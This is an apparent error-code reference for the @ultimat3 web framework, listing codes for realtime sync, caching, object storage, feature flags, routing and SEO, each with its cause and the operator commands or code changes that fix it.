live registered, thrown by nothing since 21.0.0. liveHookFor is deleted, and useQuery reads a live and a non-live query alike: live-ness is on the declaration delete any branch matching this code, because it never runs. Use useQuery({ name, live: true }, input) X_LIVE_ROW_UNIDENTIFIED a live query returned a row with no id a live: true read whose projection selects columns but not the primary key — patches, cursors and the local store all address a row by a text id — or whose id is neither text nor a safe integer (an integer key is sent as text, as the change feed sends it) select the primary key in that query's sql(), or drop live: true from it; for an id of another type, x queries show <name> --json and project the key as text X_LIVE_REPLICA_IDENTITY a replicated table has no replica identity an entity table with no primary key under REPLICA IDENTITY DEFAULT, or with REPLICA IDENTITY NOTHING: once published, Postgres refuses its UPDATE and DELETE and a change cannot be keyed. A table with a primary key is never named (22.1.0; until then every non-FULL table was, on every boot). Warned at preflight, never thrown ALTER TABLE <t> REPLICA IDENTITY FULL; or a primary key — one per table the warning names; rows already in the WAL keep the identity they were written with X_LIVE_QUERY_UNKNOWN no live query is registered under the name a subscribe frame asked for a misspelled name, or a query never passed to defineApi({ queries }) — the frame parsed and the version matched, so this is not a protocol skew and a client rebuild cannot change it x queries list --json X_REALTIME_UNINSTALLED a realtime hook ran in an island bundle that never installed realtime useQuery, useRecord, useMutation or useConnection in a browser island whose bundle never called installRealtime(), or on a page where the page runtime (@ultimat3/realtime/boot: the store, the socket, the transport) never loaded. A server render is not this: with no DOM the hooks answer their server-render state x build. It builds an island whose own import graph reaches @ultimat3/realtime from an entry that awaits the page runtime — the page boot, or the /islands/page-runtime.<id>.js chunk where no boot is rendered — and calls installRealtime({ signal: createSignal }) first (packages/cli/src/island-realtime.ts). The one case it misses is a package that imports realtime on the island's behalf, or an island built by hand. That island's page loads import '@ultimat3/realtime/boot' before the island, and the island calls installRealtime({ signal: createSignal }) in its mount, before its first render X_SYNC_UNCONFIGURED a live hook needed the page socket and no sync target was configured a live useQuery (or anything else that needs the page's one socket) ran, and neither installRealtime({ sync }) nor the document's <meta name="ultimate-sync"> named a target. x dev and the container render that meta on every document; a page served some other way does not serve the page through x dev or the container, which render <meta name="ultimate-sync"> (and SYNC_URL where the socket is not on the page origin). Or pass installRealtime({ signal: createSignal, sync: { url, buildId } }) from @ultimat3/realtime X_RECORD_REJECTED a row reached the record store in a shape it cannot hold a row adopted into the page's RecordStore that is not an object, or has no record key. It is dropped and reported, never partially merged, because a keyless row would overwrite another record x entities show <entity> --json lists the primary key every row must carry. Return whole rows from the handler that built this one X_LOCAL_STORE_UNAVAILABLE the page's durable store could not open IndexedDB is blocked or absent (a private window, storage disabled, a runtime with no indexedDB), so persisted records and queued writes live in memory and are lost on reload. A warning, never thrown: console.warn once, and the page carries on, because a page never breaks for being unable to remember. 21.0.0 nothing to do in the app. Allow site storage in the browser (a private window blocks it) and reload X_CHANNEL_DECLARATION_INVALID a channel() declaration cannot route its rows a channel(name, { … }) declaration the cause names is refused. At declaration: a name outside the topic-segment charset, a param listed twice, a records entity that is not an entity() declaration, or a param that is not a column of every listed entity, so its rows would match no topic. At serve time: two declarations sharing one name (a channel name is its topic prefix), or an events publish on a channel declared without events: true edit the channel('<name>', …) declaration as the cause says. The cause and fix name the exact option X_REALTIME_TOPOLOGY a sync node boots on a real database with no reachable change feed role sync on an external database, with the in-process transport and no replicator in this process: the replicator in another pod publishes into its own in-process bus, and every live query and channel here is silent with no error. Raised only when the node serves something that reads a change — a live: true query, or a channel that lists records; a node whose channels are events-only needs no replicator on any transport (27.5.0) set NATS_URL for every realtime role (web, sync, replicator) — or, for a bus of your own, add transport: myTransport to export const runtime = { … } in apps//runtime.ts — or run the replicator in this process: x dev --role sync,replicator X_REPLICATION_TLS the replication connection failed TLS the server certificate failed the verification the sslmode asks for (verify-ca: the chain; verify-full: the chain and the host name), sslrootcert names no readable file, or the TLS handshake itself failed openssl s_client -starttls postgres -connect "$PGHOST:$PGPORT" -showcerts </dev/null shows the chain and names the server presents; then pass its CA with ?sslrootcert=/path/to/ca.crt, connect with a name the certificate lists, or use ?sslmode=require to encrypt without verifying X_SOCKET_ORIGIN_REFUSED the websocket upgrade came from another origin a browser page asked the sync node for a socket from an origin — scheme, host and port, compared exactly — that is not APP_URL's origin when one is declared; with none declared, not the origin the node was reached on. The session cookie would have ridden it. The same host name on another port, or over plain http, is another origin. The cause names the origin that asked and every origin the node admits; x dev also admits its own web role's origin and the origin it was reached on beside a declared one export APP_URL=https://www.example.com on the sync role — the refusal renders the origin that asked in its place; run it only when that is where the pages are served — or pass syncNode({ allowedOrigins }) X_OFFLINE_QUEUE_ABANDONED a write was queued after its page changed principal a write reached OfflineQueue.enqueue() on a queue abandon() had already ended — the page moved to another principal (a sign-out, a sign-in as someone else) while the write was being queued. It was NOT stored and will never be sent: a write issued under one session must not leave under the next. Raised to the caller so the loss is never silent; call the mutation again under the current session x errors explain X_OFFLINE_QUEUE_ABANDONED --json X_SOCKET_LIMIT one principal holds too many sockets on this node the actor, or the anonymous client network, already holds the maximum number of open sync sockets on this node defineConfig({ realtime: { maxSocketsPerActor: 32 } }) — in app.config.ts — or close other tabs X_REALTIME_PRODUCER_CONFLICT two kinds of producer carry one table on the change bus a table the WAL replicator already carries is also published by a recordPublisher (or the reverse), so every committed row would reach its channels twice; the sync node keeps the producer kind it saw first and drops the other recordPublisher({ entities: [/* every entity but this table's */] }) where the replicator runs — it already carries every committed row — then restart the sync node X_MUTATION_PATH_UNFILLED a pinned action's :param had no value in the write's input useMutation or the outbox replay was handed an input with no usable value for a :param of the action's http.path pin, so no URL could be filled — the write was not sent pass the param in the mutation's input: mutate({ <param>: '<value>', ... }), the key the pin's :<param> names X_DEVICE_OFFLINE no socket is open for the device a request addressed the device is disconnected, is registered under another tenant, or the node holding it went away x doctor --json — then retry deviceLink.request(ctx, deviceId, frame) once the device redials, across replicas every role needs NATS_URL set (or one transport in apps//runtime.ts) X_DEVICE_REQUEST_TIMEOUT a device did not answer a request before its deadline the device received the request frame and sent no response frame with its id in time deviceLink.request(ctx, deviceId, frame, { deadlineMs: 60_000 }) — a longer deadline, or answer every request frame with { t: 'response', id, frame } on the device X_DEVICE_FRAME_TOO_LARGE a device socket frame is over the framework frame limit a device sent, or a request tried to send, a frame larger than DEVICE_FRAME_MAX_BYTES import { DEVICE_FRAME_MAX_BYTES } from "@ultimat3/realtime/server" — then split the payload into frames under it, or move the bytes to storage and send a key X_CHANNEL_CATCHUP_POLICY_MISMATCH a channel's catch-up read decides with another policy a channel('', { catchUp, policy }) declaration names a catch-up query whose policy is not the channel's own policy object. The query is served at GET /_x/query/ with the channel params as input, so a read with a wider policy (a bare can(':read') beside a channel rule comparing a param to the actor) hands any caller what the channel refuses edit the catch-up query file the cause names: set its policy: to the same object the channel() call passes as policy: (export the rule from the feature's policy.ts and import it in both) X_REPLICATION_SLOT_INVALIDATED the replication slot was invalidated postgres invalidated the replicator's slot (wal_status = lost): it fell further behind than max_slot_wal_keep_size allows, so the WAL it needed is gone and it can never stream again SELECT pg_drop_replication_slot('<slot>'); — then restart the replicator: it recreates the slot and every live window resyncs X_REPLICATION_SLOT_RECREATED the replication slot was recreated the replicator resumed from a position but its slot was gone (dropped, or a failover to a server that never had it), so a new slot was created and the changes committed in between were never streamed; every live window and channel is resynced from the database x doctor --json — find what drops the slot: a failover without slot sync (postgres 17 sync_replication_slots), or a manual pg_drop_replication_slot X_OFFLINE_QUEUE_FULL the offline queue is full a write was made while the page held as many unsent writes as its offline queue allows (maxQueued); it was refused rather than any queued write dropped OfflineQueue.open(store, { maxQueued }) — raise the ceiling, or let the page reconnect so the queue drains Cache Code Means Typical cause Fix X_CACHE_TAG_UNKNOWN a tag no entity declared typo in invalidates: [tag.pots] x manifest to regenerate the tag graph, then fix the tag X_CACHE_TOO_LARGE one entry exceeds the tier's byte budget caching a whole row set raise cache.<tier>.maxBytes, or cache a projection X_CACHE_DRIVER_UNAVAILABLE a tier's backing store is missing no Redis binding, or a purge driver built without FASTLY_API_TOKEN / CLOUDFLARE_API_TOKEN provision the tier, or drop it from app.config.ts X_CACHE_TTL_INVALID a cache TTL that is not a positive number of milliseconds ttlMs: 0, a negative value, NaN or Infinity. 0 used to mean "never expires" in the memory tier and "one second" in the Redis tier, so a stack holding both answered differently depending on which tier hit pass a positive ttlMs, or omit it and inherit the tier's default — "do not cache" is expressed by not declaring a cache block X_CACHE_LIMIT_INVALID a tier is given a numeric limit outside the domain its option accepts, refused at construction. Three domains, and the refusal names which: a capacity (maxEntries, maxBytes) is a whole number greater than zero; a duration (defaultTtlMs, loadDeadlineMs, a driver's request budget) is a whole number of milliseconds greater than zero; a similarity floor is a number from 0 to 1. So finite zero, a negative, a fraction and an unsafe integer are all refused too — not only NaN and Infinity maxEntries, maxBytes, defaultTtlMs, loadDeadlineMs or a similarity floor arriving as NaN or Infinity — most often Number(process.env.CACHE_LIMIT) on an unset variable, which is NaN and is not nullish, so ?? does not catch it and Math.max/Math.min propagate it. The failure is the dangerous direction: a comparison against NaN is false for every entry, so the limit stops being enforced rather than being enforced wrongly — an unbounded cache that reports healthy. The cause names that mechanism only for NaN: the same refusal also catches Infinity, 0, a fraction and an unsafe integer, where the bound is applied as given rather than disabled — a ceiling of Infinity is never exceeded and a similarity floor of Infinity is never met, which are opposite outcomes one sentence cannot claim at once. Raised at construction rather than on the first write, where X_CACHE_TTL_INVALID would have named the write instead of the config the cause names the tier and the option; set it in app.config.ts, and parse an environment value before passing it. Where the value is a call argument rather than a config key — cacheStack({ loadDeadlineMs }), lookup(embedding, override) — the fix names the argument, because sending that caller to app.config.ts names a key that does not exist. bun run finite-bounds is the repo-wide rule X_CACHE_JITTER_INVALID a TTL jitter fraction outside [0, 1) cache.<tier>.jitterFraction at 1 or above, negative, or not finite. Jitter exists because 40,000 keys warmed by one rolling restart share one TTL and therefore one expiry instant, and spreading them is the only thing that stops the herd — a fraction of 1 shaves a whole lease away, a negative one extends it past what the caller asked for. Both are miswiring rather than preference, refused where the TTL rule already lives set cache.<tier>.jitterFraction in app.config.ts to a value in [0, 1) — 0.05 is the default, 0 disables jitter X_CACHE_PURGE_FAILED the CDN refused a purge a wrong or unscoped API token, a zone without tag purge, a throttle, a key carrying whitespace or a comma meta.retryable === true → the identical purge can land again; false → set the env key the fix names, then x dev X_CACHE_VALUE_UNENCODABLE a cached value the cache codec cannot encode a value holding a cycle, a toJSON that throws, nesting deeper than 512 levels or a bigint longer than 4096 characters, written to any tier — refused at the write, so a value is either stored and readable on every tier or not stored at all cache a projection of the value: plain JSON plus Date, bigint, Map and Set, with no cycles Storage Code Means Typical cause Fix X_STORAGE_CHECKSUM_MISMATCH bytes do not match the declared checksum a truncated upload, or a sha256 computed over different bytes than the ones sent recompute the checksum over the exact bytes you send, or omit it and let the driver hash X_STORAGE_DELETE_FAILED the object could not be deleted the provider refused — a denied s3:DeleteObject, a throttle, an expired credential, a read-only mount. Deleting an absent key stays idempotent and never reaches here; everything else does, because the alternative shipped for a year: a .catch(() => undefined) turned 200 denied deletes into 200 successes and an erasure sweep reported data gone that was still there the fix is the driver's own, so it reproduces the refusal with the provider's words — a generic one is a round trip X_STORAGE_LIST_FAILED the objects could not be listed the disk refused a listing — a denied s3:ListBucket, a throttle, an expired credential, a root this process cannot read. A disk nobody has written to yet is honestly empty and answers an empty page; everything else reaches here, because sweepOrphans walks list() and a swallowed refusal certifies a prefix nothing could see as having no orphans the fix is the driver's own — ls -ld <root> on local, aws s3api list-objects-v2 --bucket <bucket> on s3 — so it reproduces the refusal with the disk's own words X_STORAGE_QUARANTINED the object is still in quarantine the uploadScanner installed in runtime.ts answered hold for this upload (a review queue, an async vendor scan); the per-attempt copy is deleted, the upload stays pending and nothing is attached. No upload policy overrides a hold promoteAttachment({ disk, key: '<pending key>', orgId, target, policy }) # again once your scanner answers clean for this pendingKey — sweepOrphans collects it if it never does X_STORAGE_DISK_UNKNOWN no disk with that name is configured disk('<name>') for a disk storage.disks never declared add "<name>" to storage.disks in app.config.ts, or call one of the names cause lists X_STORAGE_NOT_FOUND no object at that key a stale key, the wrong disk, or an object already deleted list the prefix and compare: await disk('<disk>').list({ prefix: '<dir>' }) X_STORAGE_PATH_UNSAFE object key escapes its prefix an absolute key, a .. segment, or a backslash build the key with scopedKey(orgId, ...parts) — relative, forward slashes, no .. X_STORAGE_TOO_LARGE payload exceeds the upload size limit a file over the policy's maxBytes; cause carries both numbers uploadPolicy({ maxBytes: <bytes> }) for a higher limit, or compress the file first X_STORAGE_TYPE_REJECTED content type is not allowed for this upload a type absent from allowedContentTypes, or magic bytes that disagree with the declared Content-Type — the bytes win add the declared type to allowedContentTypes in the upload policy, or re-upload with the Content-Type cause sniffed X_STORAGE_URL_INVALID signed URL does not match its signature an edited constraint (x-max, x-ct, the key), a URL outside the mounted base, a PUT grant replayed as a GET, or a Content-Type header the signature does not cover mint a fresh one with grantUpload({ disk, orgId, request }) and send it unedited — every constraint is inside the signature X_STORAGE_URL_UNVERIFIABLE nothing can check the signature — no verifier was supplied acceptSignedUpload was called with no secret: and the disk's driver implements no verifySigned. Its own code deliberately, not X_STORAGE_URL_INVALID: "no verifier" and "this signature is forged" need opposite edits, and reporting the first as the second sends an operator hunting an attacker who is not there implement verifySigned on the driver, or pass secret: explicitly — a local disk already verifies its own X_STORAGE_URL_EXPIRED signed URL is past its expiry a form left open longer than the grant's window call grantUpload({ disk, orgId, request, expiresInMs }) again — a longer expiresInMs widens the window the signature grants X_STORAGE_ORG_MISMATCH object key belongs to another org a key from one tenant used while the actor resolves to another; the signature can be perfectly valid and this still fires build it with scopedKey('<orgId>', ...parts), and pass the actor's org as orgId — never one read off the request X_STORAGE_UPLOAD_FAILED the signed upload was refused the presigned PUT answered non-2xx, or never reached the disk (status: 0) call uploadFile({ file, grant }) again for a fresh grant; a 4xx here is the constraint named in the body, not a transport fault X_STORAGE_SECRET_DEV upload grants would be signed with the shipped development key STORAGE_SIGNING_SECRET is unset or holds the constant published in @ultimat3/storage, in a non-local environment — anyone can then mint a PUT grant offline with a maxBytes and contentType of their choosing, and the signed constraints outrank the app's uploadPolicy. Reported by x doctor; the local disk driver also refuses to construct export STORAGE_SIGNING_SECRET="$(openssl rand -hex 32)" X_STORAGE_NOT_PENDING the key is not a pending upload promoteAttachment was handed a key outside the org pending/ prefix — most often an already-attached key a client sent back. It checked only that the key was inside the org, so another row file was copied onto this row and the original deleted from the victim promote the key grantUpload returned with no target — an attached key already belongs to a row, so promote the pending upload the client just sent: promoteAttachment({ disk, key: pendingKey(orgId, name), orgId, target }) X_STORAGE_KEY_CONFLICT the key collides with another key on a local or memory disk the local driver stores an object as a file at its key, so one key cannot be both an object and the directory of another: put('a') then put('a/b'), or the reverse — or a beside a.json/b, which collide in the sidecar tree. Refused before a byte moves; it was a bare ENOTDIR / EISDIR. s3Driver and memoryStorageDriver hold both disk("<disk>").list({ prefix: "a" }) with the name the disk is registered under — lists the object in the way (the cause names it); store one of the two under a different key X_STORAGE_PUT_FAILED the object could not be written the disk refused a put() or copy() — a root this process cannot write (EACCES), a full or read-only volume (ENOSPC, EROFS), or a provider that answered the write with a refusal. It surfaced as a bare filesystem Error or a bare S3Error; nothing was stored, and any existing object at the key is untouched. local: ls -ld <root> && df -h <root> with the disk's own root, which the error prints. s3: aws s3api get-bucket-policy --bucket <bucket> X_STORAGE_READ_FAILED the object could not be read the disk refused a get(), stat(), exists(), stream() or the read half of a copy() — a denied s3:GetObject, a throttle, an expired credential, an unreadable file (EACCES, EIO). It surfaced as a bare S3Error or a bare filesystem Error. An object that is simply not there is X_STORAGE_NOT_FOUND, never this. local: ls -l <root>/<key>. s3: aws s3api head-object --bucket <bucket> --key <key>. The error prints the command with the real root, bucket and key X_STORAGE_OBJECT_LOCKED the object is under retention or a legal hold a delete, overwrite or copy onto a key whose retention has not lapsed, or whose legal hold is on, was refused; the stored bytes are unchanged disk(name).retentionOf(key) — shows the lock and its retainUntil; write to a new key, or wait until it lapses X_STORAGE_KEY_UNSHARED object key is outside every tenant and every shared prefix a read through /_storage or /media named a key that is not under org// and not under a prefix the app listed in defineStorage({ shared }); refused as 404 so the answer never confirms the object exists scopedKey(orgId, ...parts) for a tenant's object; for one every reader may have, defineStorage({ disks, shared: { uploads: ['brand/'] } }) with your own disk and prefix X_STORAGE_ALREADY_PROMOTED the upload was already promoted onto its row promoteAttachment found the pending key gone and the attached key present: an earlier call moved these bytes, most often a confirm retried or sent twice. It used to answer the attached object as if this call had moved it, so a caller inserted a second row for it and the cleanup of that failed insert deleted the first row bytes await disk.stat(meta.attachedKey) answers the moved object: answer the row that references that key if one exists, write it with that key if none does, and never delete the key on a failure of your own X_STORAGE_RANGE_UNSATISFIABLE the requested byte range starts past the end of the object get(key, { range: [first, last] }) named a first byte at or past the object's size — an empty object has no byte to start at await disk.get(key, { range: [0, size - 1] }) # any first byte below the size; an empty object: await disk.get(key) X_STORAGE_OBJECT_CHANGED the object changed while it was being promoted the pending object is not the revision promoteAttachment read: the upload URL stays valid until it expires, so the uploader overwrote it between the sniff and the copy promoteAttachment({ disk, key, orgId, target, policy }) once the upload has finished: it reads the object again X_STORAGE_UPLOAD_SIZE_UNDECLARED an upload grant was asked for without the size of the file an upload grant was minted, or an s3 PUT signed with a ceiling, naming no whole byte count of at least 1: a presigned PUT binds a size only by signing the exact Content-Length, so there was nothing to bind grantUpload({ disk, orgId, request: { filename, contentType, size: file.size } }) X_STORAGE_WRITE_OUTCOME_UNKNOWN a write was sent and its answer lost, and the disk could not say whether it landed the connection died after the last request of a write was sent and before the provider answered, and neither a stat of the key nor an abort of the upload could settle whether the object is the one sent await disk.stat(key) — the size and etag now at the key; the same as what was sent means it landed X_STORAGE_MULTIPART_UNSUPPORTED this disk cannot take an upload in parts a custom StorageDriver declares no multipart capability, and grantMultipart was asked to open a session on it implement StorageDriver.multipart on the driver, or grant one PUT with grantUpload({ disk, orgId, request }) X_STORAGE_UPLOAD_UNKNOWN no open multipart upload has that id the uploadId was never opened on this disk for that key, or it was already completed or aborted grantMultipart({ disk, orgId, request }) again, and upload the parts under the new uploadId X_STORAGE_PARTS_INVALID the parts named do not match the parts stored completeUpload was handed a part the disk never received, parts out of ascending order, or an etag that is not the stored one listParts({ disk, orgId, key, uploadId }) to see what landed, resend the missing part, then completeUpload again X_STORAGE_UPLOAD_INFECTED the upload scanner found malware in the file promoteAttachment ran the uploadScanner installed in runtime.ts over its per-attempt copy (pending/scan/) and it answered infected; the pending upload and that copy are deleted, and the row's key is never written grantUpload({ disk, orgId, request }) for a new, clean file (this one is gone; meta.signature names the detection) X_STORAGE_SCAN_UNAVAILABLE the upload scanner could not give a verdict the uploadScanner installed in runtime.ts rejected (daemon down, timeout, file past its limit), or the per-attempt copy could not be read for it, and the upload policy fails closed; the attempt copy is deleted and the upload stays pending promoteAttachment({ disk, key, orgId, target, policy }) # again once the scanner answers — or uploadPolicy({ onScanUnavailable: 'accept' }) to promote unscanned files X_STORAGE_TARGET_UNSCANNED a targeted upload grant would bypass the upload scanner grantUpload or grantMultipart was given a target while an uploadScanner is installed in runtime.ts; a targeted key never passes through promoteAttachment, so its bytes would reach the row unscanned grantUpload({ disk, orgId, request, policy }) — no target — then promoteAttachment({ disk, key, orgId, target, policy }) once the upload lands Flags X_FLAG_EXPIRED is the only code in the framework that is reported and never thrown: an overdue temporary flag is a debt, not an outage, so isEnabled() hands it to the configured ErrorReporter as a warning (rate-limited to one report per key per hour) and still answers its targeting. Everything else here fails at declaration time. Code Means Typical cause Fix X_FLAG_DUPLICATE two flags were declared with the same key a copy-pasted defineFlag(), so one of the two declarations decides nothing rename one of the two defineFlag({ key: '<key>' }) declarations X_FLAG_EXPIRED a temporary flag is past its expiry and is still being evaluated scaffolding that outlived the change it was wrapping; cause names the owner and how overdue it is delete the branch and its defineFlag() declaration, or move it to kind: 'permanent' if it is a real product switch X_FLAG_EXPIRY_INVALID a temporary flag has no usable expiry date expiresAt absent, or not an ISO-8601 date or zoned date-time naming a real day ('December 1, 2026', '2026-02-30', '2026-12-01T00:00:00') — reachable from a store snapshot or plain JS; in TypeScript the union already refuses it set expiresAt to an ISO-8601 date such as '2026-12-01' in defineFlag({ key: '<key>' }) X_FLAG_SUBJECT_REQUIRED a flag decides by a subject the evaluation context does not carry targeting names a subject kind — an org, or an app record such as bank — but the actor carries no orgId, or the call site passed no record for that kind. Answered as an error rather than a silent default, which would decide the wrong way and never say so mint the actor with its tenant — userActor({ id, orgId }) — for org; for an app kind, pass the record at the call site: isEnabled('<key>', actor, { <kind>: '<id>' }) X_FLAG_TARGETING_INVALID flag targeting is out of range or malformed rollout: 0.5 (a fraction read as a percentage means nobody), a rollout outside 0-100, or default: true beside a rollout set rollout to a whole percentage 0-100 in defineFlag({ key: '<key>' }), and leave default false when a rollout decides X_FLAG_UNKNOWN no flag is declared under this key a typo at the isEnabled() call site — answered as an error rather than a silent false, which would be a branch that never runs and never says so declare it with defineFlag({ key: '<key>', … }), or correct the key at the call site Routes, render and budgets Code Means Typical cause Fix X_ROUTE_MODE_INVALID render mode not allowed on this surface, or not a render mode at all stream on a site/ route; render: 'spa', deleted in 6.0.0 use static, isr or ssr in site/; stream or ssr in app/. For spa, the migration is one line — render: 'ssr' — in Upgrading X_ROUTE_OFFLINE_MISSING the route's offline strategy is missing or contradictory precache on an ssr route set a compatible offline, or change the render mode X_ROUTE_META_MISSING required metadata missing no meta.title, or no description on a site/ route add it to meta in the route file X_ROUTE_UNNORMALIZED a route was registered without defineRoute registerRoute({ config }) was handed the author's own object, so meta and budget were never normalized and every descriptor reader would read them wrong wrap it: registerRoute({ file, config: defineRoute({ … }) }) X_ROUTE_DUPLICATE two route files resolve to one URL a copied page directory delete or rename one X_ROUTE_FILE_INVALID a route file is not named for its surface site/pricing.tsx or site/blog/index.tsx instead of <dir>/page.tsx mkdir -p -- '<dir>' && mv -n -- '<file>' '<dir>/page.tsx' — quoted exactly as the thrown fix quotes them, because a route path may hold a space. api/ takes no route file (26.0.0): an action, or a plain HTTP route in the routes runtime override for a wire format an action cannot speak. -n because the correct file may already be there X_STORAGE_UNWRITABLE the storage disk this process needs cannot be written to a hardened container (readOnlyRootFilesystem: true) with no writable volume at the embedded disk's root, or S3_ENDPOINT set with S3_BUCKET empty mount a writable volume at the path in the message, or set S3_ENDPOINT + S3_BUCKET to use object storage. x doctor --json shows which binding this process resolved X_ROUTE_LOAD_INVALID a route declared a load that is not a function load: someData instead of load: () => someData make load a function of ({ params, url }) returning the page data, or remove it X_ROUTE_LOAD_FAILED a route's load threw while resolving its data the query, client call or fetch inside load failed; the message names the path fix the load for that path, or return a fallback so the page can still render. An UltimateError thrown by the loader passes through untouched, with its own code X_ROUTE_STATUS_INVALID a route answered a status a rendered page cannot carry withStatus(302, data) — a 3xx is a Location and no body, and a loader only ever produces a body answer 2xx, 4xx or 5xx from load; a redirect is redirect(location) from @ultimat3/http. Out of 200–599 is X_INVARIANT from the same screen every render mode uses X_SURFACE_BOUNDARY a surface imported across the hard boundary site/ reached app/, transitively x fix boundary <file>, or move the shared module out of shared/ui X_BOUNDARY_SITE_TO_APP site/ imported app/ the classic transitive import the chain is printed in cause; break it at the named hop X_BOUNDARY_APP_TO_API app/ imported api/ at runtime a value import instead of import type use import type, and call the typed client X_BOUNDARY_ROUTE_TO_DB a route touched the database SQL in a page file x g query <route-name> --feature <slice> when the import resolves into a slice, x g resource <name> when none; then call it from the route X_BOUNDARY_SERVICE_TO_HTTP a service imported HTTP request awareness inside business logic take the values as arguments so a job can reuse the service X_BOUNDARY_SHARED_LEAF shared/ imported a surface shared/ is a leaf invert the dependency X_ADMIN_FLATTENER_VIOLATION a production @ultimat3/admin file read $meta or called $describe() directly a new admin module reached past entity-columns.ts for column facts take AdminColumnFacts from entity-columns.ts instead X_CONFIG_IMPORT_OUTSIDE_LOADER a file other than packages/cli/src/app-config-load.ts imports an app's app.config.ts a second reader of the config module, with its own defaults and trust policy, beside the one loader read the section off loadAppConfig(root) from app-config-load.ts; a tier-forced exemption is a row in CONFIG_IMPORT_EXEMPT (scripts/lib/config-import.ts) with its reason X_BUDGET_EXCEEDED a route blew its JS budget a heavy transitive import x routes --json for the chain; move it behind hydrate: 'interaction' or raise the budget deliberately X_ISLAND_INVALID an island declaration cannot become a client entry no src, a remote URL, a file not named *.island.tsx, unsafe characters, or two islands on one page claiming the same id. The extension is the rule: a module ships to the browser iff its name says so, so the bundler decides without opening the file rename the module to <name>.island.tsx and point src at it — the cause names the offending value X_ISLAND_PROPS_INVALID an island was handed props it may not receive a key not listed in props: [...], a value that is not JSON (a function, Date, class instance, bigint, symbol, undefined, or a cycle), or a payload over ISLAND_PROPS_MAX_BYTES (16,384 bytes As of 2026-09-05; it was 4,096). A spread such as <Modal {...row} /> fails and the cause names every undeclared key, which is how a password hash is caught before it crosses to the client. Over the cap, the cause names the heaviest props with their bytes. A declared 500 — the author's fault, never the caller's — so problem+json carries the cause in prod; on a budgeted route the budgets step reports it at verify time under this code declare the prop in island({ props: [...] }), or pass a JSON value; over the cap, pass <prop>: [] and an endpoint (queryPath('<query>'), from @ultimat3/core) and fetch the rows inside the island after mount — a list that is the same on every request is a dataset, not a prop X_ISLAND_NOT_HYDRATED a page renders an island nothing would boot three causes, and the cause says which. (1) the route states hydrate: 'never' beside an island — a contradiction the author wrote on purpose, since a route carrying one otherwise derives its own. (2) the island() call sits below the defineRoute that drains it, so the declaration had not happened yet. (3) the page was rendered outside a render that collects islands, so no hydration runtime is emitted and the chunk is never requested — this is the host's wiring, not the author's page (1) drop the explicit hydrate: 'never' and let it derive · (2) move the island() call above defineRoute · (3) render through renderToHtml(tree, { islands: islandCollector({ file, hydrate }) }) so the island is counted, booted and budgeted X_BUDGET_UNMEASURED a route declares a budget the build never measured the route is absent from .x/build-stats.json, or the file was written by an earlier measurement rule than this gate's (its measuredBy is not BUILD_STATS_RULES), so its numbers are not this gate's to read. .x/ survives framework upgrades. x verify's budgets step builds when the stats are missing or stale, so inside the gate this means a static build ran and wrote no stats (apps/web/prerender.ts must call prerenderSite()) x build --target static --json && x verify --json X_LIVE_ROUTE_NO_ISLAND a route reads live rows and boots nothing that could receive them a browser-only read (useQuery, useConnection, useMutation, useMutationQueue, useRecord, useChannel, or hasPageSocket) sits in a module of the route's server graph that no island imports, or on a route declaring hydrate: 'never'. It only ever runs on the server, where it answers its server state (nothing, or loading) forever, at 200. hasPageSocket() is no exemption since 21.0.0: it answers false on the server every time, which is how the reference app's update banner never showed. Reported by the budgets step move it into an island: x g island <route-dir> --at <route-dir>, import the module from that island's mount(), and declare it with island({ src }) in the route file, with a hydrate other than 'never' X_PRERENDER_FAILED a prerendered path threw during build prerender() returned an id that no longer resolves fix the data source, or narrow prerender() X_STYLES_GLOBAL_MISSING a surface renders documents whose CSS defines no :root custom properties nothing in the app's module graph imports the global layer, so every var(--color-*) and var(--space-*) a component emits resolves to nothing and the browser drops the declaration add apps/web/shared/global.scss containing @use '@ultimat3/ui/global.scss'; and apps/web/shared/global.ts containing import './global.scss'; — x new scaffolds both X_ASSET_MISSING a page names a site asset the app does not have asset('assets/…') names a file that is not under apps/<app>/site/assets/, or a path outside that tree (.., an unsupported extension). Thrown while the page renders, so x build --target static fails on it add the file under apps/web/site/assets/, or correct the path passed to asset(); then x build --target static. Details: Static Assets X_ROUTE_POST_INVALID a page route's post binding cannot be mounted post: names no registered action, is not a string, or sits on a page that is not render: 'ssr' defineRoute({ ..., post: '' }) on an ssr page, naming an action the app registers — x actions list --json prints them X_ROUTE_NAVIGATION_INVALID a route's navigation is not 'prefetch', 'document', 'modal' or { modal: true, prefetch: 'intent' }, or its surface has no client navigation navigation set to any other value — an object with any other key or value, { modal: true } alone included (that is 'modal') — or set on a page under a surface app.config.ts's navigation.client does not list — no router runs there, so the key would decide nothing. The second half is refused at boot defineRoute({ ..., navigation: 'prefetch' | 'document' | 'modal' | { modal: true, prefetch: 'intent' } }) on a page whose surface is listed in app.config.ts navigation.client, or remove the key X_NAVIGATION_MODAL_PATH_INVALID openModal was given something that is not a path of this origin openModal(path) addresses a modal by the hash '#', so path must be an absolute path on this origin starting with a single '/' — a URL of another origin, a protocol-relative '//host' or a relative 'new' names no modal openModal('/runs/new') — the modal route's own path, as its link carries it; never a full URL or a relative one SEO Code Means Typical cause Fix X_SEO_META_MISSING a site/ route is missing required metadata no title, description or og.image add it to meta; the file is named in cause X_SEO_META_TOO_LONG title or description exceeds what results render a description over 160 chars shorten it — cause carries the measured length X_SEO_DUPLICATE_META two routes share a title or description copied metadata make each page's meta unique X_SEO_CANONICAL_MISMATCH canonical URL does not match the route path a hand-written canonical delete it — canonicals come from the route table X_LD_INVALID JSON-LD node is missing a required schema.org field an ld.* helper called with a partial object supply the field named in cause X_SITEMAP_TOO_LARGE sitemap exceeds the 50,000-entry limit too many prerendered URLs in one file enable sitemap index splitting in app.config.ts X_IMAGE_QUERY_INVALID a minted image URL's ?w=/?q= value is present but unusable ?w=0, ?w=-5, ?q=150 on a URL responsiveImage() minted request a positive integer, e.g. ?w=640 (quality is 1-100, e.g. ?q=75) X_SEO_LINK_INVALID a route meta link is unsafe or would fetch nothing a javascript:/data: href, a preload with no as, or a font preload with no crossorigin edit links in the route's defineRoute({ meta }): an http(s) or relative href, as on every preload, crossorigin on a font preload X_SITEMAP_ENTRY_INVALID a sitemap entry carries a lastmod or a locale the sitemap cannot write a prerender() entry (or a page handed to buildSitemap) has a lastmod that is not an ISO 8601 date with an explicit zone, or names a locale the app does not route x verify --json after prerender() in the route file named in cause answers lastmod as a Date or an ISO 8601 string with a zone (row.updatedAt) and only routed locales in locales X_SEO_LLMS_DESCRIPTION_MISSING a page listed in llms.txt has no description seo.llms is on and an indexable site/ route resolves a meta with no description, so its llms.txt line would say nothing about the page x verify --only seo --json — then add meta.description to the route 